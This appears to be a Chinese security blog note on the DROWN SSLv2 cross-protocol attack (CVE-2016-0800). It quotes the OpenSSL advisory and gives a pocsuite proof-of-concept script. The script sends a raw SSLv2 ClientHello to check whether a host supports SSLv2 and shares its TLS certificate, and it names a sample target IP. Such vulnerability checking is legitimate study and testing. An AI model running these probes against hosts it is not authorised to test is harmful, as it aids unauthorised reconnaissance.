现在流行的服务器和客户端使用TLS加密, 然而由于错误配置, 许多服务器仍然支持SSLv2, 这是一种古老的协议, 许多客户端已经不支持 SSLv2。
DROWN攻击可以威胁到还在支持 SSLv2 的服务端和客户端,允许攻击者通过发送 probe 到支持 SSLv2 的使用相同密钥的服务端和客户端解密 TLS 通信。
A cross-protocol attack was discovered that could lead to decryption of TLS
sessions by using a server supporting SSLv2 and EXPORT cipher suites as a
Bleichenbacher RSA padding oracle. Note that traffic between clients and
non-vulnerable servers can be decrypted provided another server supporting
SSLv2 and EXPORT ciphers (even with a different protocol such as SMTP, IMAP or
POP) shares the RSA keys of the non-vulnerable server. This vulnerability is
known as DROWN (CVE-2016-0800).
Recovering one session key requires the attacker to perform approximately 2^50
computation, as well as thousands of connections to the affected server. A more
efficient variant of the DROWN attack exists against unpatched OpenSSL servers
using versions that predate 1.0.2a, 1.0.1m, 1.0.0r and 0.9.8zf released on
19/Mar/2015 (see CVE-2016-0703 below).
Users can avoid this issue by disabling the SSLv2 protocol in all their SSL/TLS
servers, if they’ve not done so already. Disabling all SSLv2 ciphers is also
sufficient, provided the patches for CVE-2015-3197 (fixed in OpenSSL 1.0.1r and
1.0.2f) have been deployed. Servers that have not disabled the SSLv2 protocol,
and are not patched for CVE-2015-3197 are vulnerable to DROWN even if all SSLv2
ciphers are nominally disabled, because malicious clients can force the use of
SSLv2 with EXPORT ciphers.
OpenSSL 1.0.2g and 1.0.1s deploy the following mitigation against DROWN:
SSLv2 is now by default disabled at build-time. Builds that are not configured
with “enable-ssl2” will not support SSLv2. Even if “enable-ssl2” is used,
users who want to negotiate SSLv2 via the version-flexible SSLv23_method() will
need to explicitly call either of:
SSL_CTX_clear_options(ctx, SSL_OP_NO_SSLv2);
or
SSL_clear_options(ssl, SSL_OP_NO_SSLv2);
as appropriate. Even if either of those is used, or the application explicitly
uses the version-specific SSLv2_method() or its client or server variants,
SSLv2 ciphers vulnerable to exhaustive search key recovery have been removed.
Specifically, the SSLv2 40-bit EXPORT ciphers, and SSLv2 56-bit DES are no
longer available.
In addition, weak ciphers in SSLv3 and up are now disabled in default builds of
OpenSSL. Builds that are not configured with “enable-weak-ssl-ciphers” will
not provide any “EXPORT” or “LOW” strength ciphers.
OpenSSL 1.0.2 users should upgrade to 1.0.2g
OpenSSL 1.0.1 users should upgrade to 1.0.1s
This issue was reported to OpenSSL on December 29th 2015 by Nimrod Aviram and
Sebastian Schinzel. The fix was developed by Viktor Dukhovni and Matt Caswell
of OpenSSL.
可以通过 https://test.drownattack.com/?site= 来检查站点是否受影
https://github.com/nimia/public_drown_scanner
https://mta.openssl.org/pipermail/openssl-announce/2016-March/000066.html
http://m.bobao.360.cn/news/appdetail/2787.html?from=timeline&isappinstalled=0
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import urlparse
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output
from pocsuite.api.poc import POCBase
from pocsuite.api.utils import url2ip
def check_tls(host, port):
"""
params:
host[str]: target host ip
port[int]: target host port
"""
client_hello = '16030100d8010000d403037d408377c8e5204623867604ab0ee4a140043a4e383f770a1e6b66c2d45d34e820de8656a211d79fa9809e9ae6404bb7bcc372afcdd6f51882e39ac2241a8535090016c02bc02fc00ac009c013c01400330039002f0035000a0100007500000014001200000f7777772e65746973616c61742e6567ff01000100000a00080006001700180019000b00020100002300003374000000100017001502683208737064792f332e3108687474702f312e31000500050100000000000d001600140401050106010201040305030603020304020202'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)
s.connect((host, port))
s.send(client_hello.decode('hex'))
try:
data = s.recv(1024*1024)
except socket.timeout:
data = ''
if data:
server_hello_len = int(data[3:5].encode('hex'),16)
index = 5
index += server_hello_len
cert_msg = data[index:]
return cert_msg
def check_drown(host, port):
"""
params:
host[str]: target host ip
port[int]: target host port
"""
client_hello_payload = '803e0100020015001000100100800200800600400400800700c00800800500806161616161616161616161616161616161616161616161616161616161616161'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)
s.connect((host, port))
s.sendall(client_hello_payload.decode('hex'))
try:
server_hello = s.recv(10*1024)
except socket.timeout:
#print(" [-] Not connected SSLv2")
return False
except socket.error:
return False
try:
# parse incoming packet to extract the certificate
index = 0
length = server_hello[index:index+2].encode('hex')
index += 2
msg_type = server_hello[index].encode('hex')
index += 1
session_id = server_hello[index].encode('hex')
index += 1
cert_type = server_hello[index].encode('hex')
index += 1
ssl_version = server_hello[index:index+2]
index += 2
cert_len = int(server_hello[index:index+2].encode('hex'),16)
#print('cert_len', cert_len)
index += 2
cipher_spec_len = server_hello[index:index+2]
index += 2
conn_id = server_hello[index:index+2]
index += 2
cert = server_hello[index:cert_len+1]
data = check_tls(host, port)
if data:
print(" [*] Check the TLS CERT and SSLv2 CERT")
if cert.encode('hex') in data.encode('hex'):
print(" [+] SSLv2 Enable - Same cert")
else:
print(" [+] SSLv2 Enable - Not same cert")
return True
else:
return False
except Exception as e:
# most exception is "string index out of range"
return False
s.close()
class OpenSSL_DROWN(POCBase):
vulID = '0' # vul ID
version = '1'
author = 'janes'
vulDate = '2016-03-01'
createDate = '2017-02-16'
updateDate = '2017-02-16'
references = ['https://www.openssl.org/blog/blog/2016/03/01/an-openssl-users-guide-to-drown/']
name = 'OpenSSL Drown跨协议攻击TLS漏洞 POC'
appPowerLink = 'https://www.openssl.org'
appName = 'OpenSSL'
appVersion = '1.0.2a, 1.0.1.m'
vulType = 'Information Disclosure'
desc = '''
DROWN漏洞主要利用SSLv2协议的脆弱性对TLS协议进行攻击。攻击者通过中间人攻击等手段截获和解密用户和服务器之间的加密通信,包括但不限于用户名和密码、信用卡号、电子邮件、即时消息,以及敏感文件。
'''
samples = ['50.232.43.188']
def _verify(self):
result = {}
output = Output(self)
target_ip = url2ip(self.url)
url = urlparse.urlparse(self.url)
port = url.port or 443
if check_drown(target_ip, port):
output.success(result)
else:
output.fail('Not support SSLv2 connection. Not Vulnerable')
return output
def _attack(self):
return self._verify()
register(OpenSSL_DROWN)